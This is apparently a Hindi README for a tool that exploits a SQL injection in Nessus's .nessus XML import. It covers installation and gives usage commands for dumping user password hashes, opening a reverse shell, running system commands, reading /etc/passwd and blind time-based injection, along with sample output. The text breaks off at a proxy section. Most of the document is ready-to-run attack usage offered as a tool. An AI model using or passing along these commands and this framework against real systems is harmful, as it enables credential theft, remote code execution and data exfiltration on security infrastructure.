🛡️ CVE-2026-57588 - Nessus SQL इंजेक्शन एक्सप्लॉइटेशन फ्रेमवर्क

📋 विषय सूची

• अवलोकन
• कमजोरी विवरण
• विशेषताएं
• स्थापना
• त्वरित शुरुआत
• उपयोग उदाहरण
• पेलोड प्रकार
• उन्नत परिदृश्य
• रिपोर्टिंग
• समस्या निवारण
• सुरक्षा संबंधी विचार
• लाइसेंस

🔍 अवलोकन

CVE-2026-57588 Tenable Nessus संस्करण 10.12.0 और पूर्व में पाई गई एक गंभीर SQL इंजेक्शन कमजोरी है। यह कमजोरी .nessus स्कैन परिणाम फ़ाइलों को आयात करते समय XML पार्सिंग तंत्र में मौजूद है, जो आयात विशेषाधिकारों वाले प्रमाणित उपयोगकर्ताओं को बैकएंड PostgreSQL डेटाबेस के विरुद्ध मनमानी SQL क्वेरी निष्पादित करने की अनुमति देती है।

⚠️ कमजोरी विवरण

🔬 तकनीकी विवरण

यह कमजोरी XML टैग मानों के अपर्याप्त स्वच्छीकरण के कारण मौजूद है, जिन्हें आयात प्रक्रिया के दौरान SQL क्वेरी में शामिल किया जाता है। एक दुर्भावनापूर्ण अभिनेता XML टैग जैसे:

• hostname
• fqdn
• os
• system-type
• mac-address
• netbios-name

में विशेष रूप से तैयार SQL इंजेक्शन पेलोड वाली .nessus फ़ाइल बना सकता है।

जब कोई विशेषाधिकार प्राप्त उपयोगकर्ता दुर्भावनापूर्ण फ़ाइल आयात करता है, तो अस्वच्छीकृत मान PostgreSQL बैकएंड के विरुद्ध निष्पादित होते हैं, जिससे:

• डेटाबेस गणना
• डेटा चोरी
• कमांड निष्पादन
• फ़ाइल सिस्टम पहुँच
• स्थायित्व स्थापना

सक्षम होती है।

✨ विशेषताएं

📦 स्थापना

🐍 पूर्वापेक्षाएँ

• Python 3.7 या उच्चतर
• pip (पायथन पैकेज मैनेजर)
• Git (वैकल्पिक, क्लोनिंग के लिए)

🔧 त्वरित स्थापना

# रिपॉजिटरी क्लोन करें
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC

# वर्चुअल वातावरण बनाएं और सक्रिय करें
python3 -m venv venv
source venv/bin/activate  # विंडोज़ पर: venv\Scripts\activate

# निर्भरताएँ स्थापित करें
pip install -r requirements.txt

# स्थापना सत्यापित करें
python3 exploit.py --version

🐳 डॉकर स्थापना

# डॉकर इमेज बनाएं
docker build -t nessus-exploit .

# टूल चलाएं
docker run -it --rm nessus-exploit generate -u https://test.com -p enum

📦 पैकेज स्थापना

# एक पैकेज के रूप में स्थापित करें
pip install -e .

# अब कहीं से भी चलाएं
nessus-exploit generate -u https://test.com -p enum

🚀 त्वरित शुरुआत

मूल उपयोग

# एक बुनियादी गणना शोषण उत्पन्न करें
python3 exploit.py generate -u https://test.com -p enum

# उन्नत बहु-चरणीय शोषण उत्पन्न करें
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus

# डेटाबेस से डेटा निकालें
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email

कमांड सहायता

# सामान्य सहायता दिखाएं
python3 exploit.py --help

# generate कमांड सहायता दिखाएं
python3 exploit.py generate --help

# सभी उपलब्ध पेलोड सूचीबद्ध करें
python3 exploit.py list

💡 उपयोग उदाहरण

1. बुनियादी गणना

python3 exploit.py generate -u https://test.com -p enum

[2026-07-22 10:15:23] [INFO] [*] https://test.com के विरुद्ध शोषण शुरू
[2026-07-22 10:15:23] [INFO] [*] सत्र: xK9mN2pQ5wR8yV7tJ4sL3fG6hD1
[2026-07-22 10:15:23] [INFO] [*] पेलोड: enum
[2026-07-22 10:15:23] [INFO] [*] चरण निष्पादित: fingerprint
[2026-07-22 10:15:24] [INFO] [+] उत्पन्न XML: exploit_20260722_fingerprint_101523.nessus (3847 बाइट्स)
[2026-07-22 10:15:24] [INFO] [*] चरण निष्पादित: schema_dump
[2026-07-22 10:15:25] [INFO] [+] उत्पन्न XML: exploit_20260722_schema_dump_101524.nessus (4213 बाइट्स)
[2026-07-22 10:15:25] [INFO] [+] शोषण पूर्ण! अवधि: 2.15s

============================================================
शोषण सारांश
============================================================
लक्ष्य: https://test.com
स्थिति: सफल
अवधि: 2.15s
उत्पन्न फ़ाइलें: 3
उत्पन्न रिपोर्ट: 3
============================================================

2. उन्नत बहु-चरणीय शोषण

python3 exploit.py generate -u https://test.com -p advanced -o custom.nessus -v

3. डेटा चोरी

# उपयोगकर्ता क्रेडेंशियल निकालें
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email

# कस्टम स्तंभों के साथ निकालें
python3 exploit.py generate -u https://test.com -p dump --table scan_results --columns scan_name,start_time,status

4. रिवर्स शेल

# श्रोता शुरू करें और शोषण उत्पन्न करें
python3 exploit.py generate -u https://test.com -p shell -lp 4444 -o shell.nessus

5. कमांड निष्पादन

# बुनियादी कमांड निष्पादित करें
python3 exploit.py generate -u https://test.com -p exec --command "whoami && id && uname -a"

# जटिल कमांड निष्पादित करें
python3 exploit.py generate -u https://test.com -p exec --command "ps aux | grep nessus"

6. फ़ाइल पढ़ना

# सिस्टम फ़ाइलें पढ़ें
python3 exploit.py generate -u https://test.com -p file -f /etc/passwd

# एप्लिकेशन लॉग पढ़ें
python3 exploit.py generate -u https://test.com -p file -f /var/log/nessus/nessusd.log

7. समय-आधारित ब्लाइंड इंजेक्शन

# 5 सेकंड विलंब
python3 exploit.py generate -u https://test.com -p sleep -s 5

# भारी परीक्षण के लिए 30 सेकंड विलंब
python3 exploit.py generate -u https://test.com -p sleep -s 30

8. प्रॉक्सी समर्थन के साथ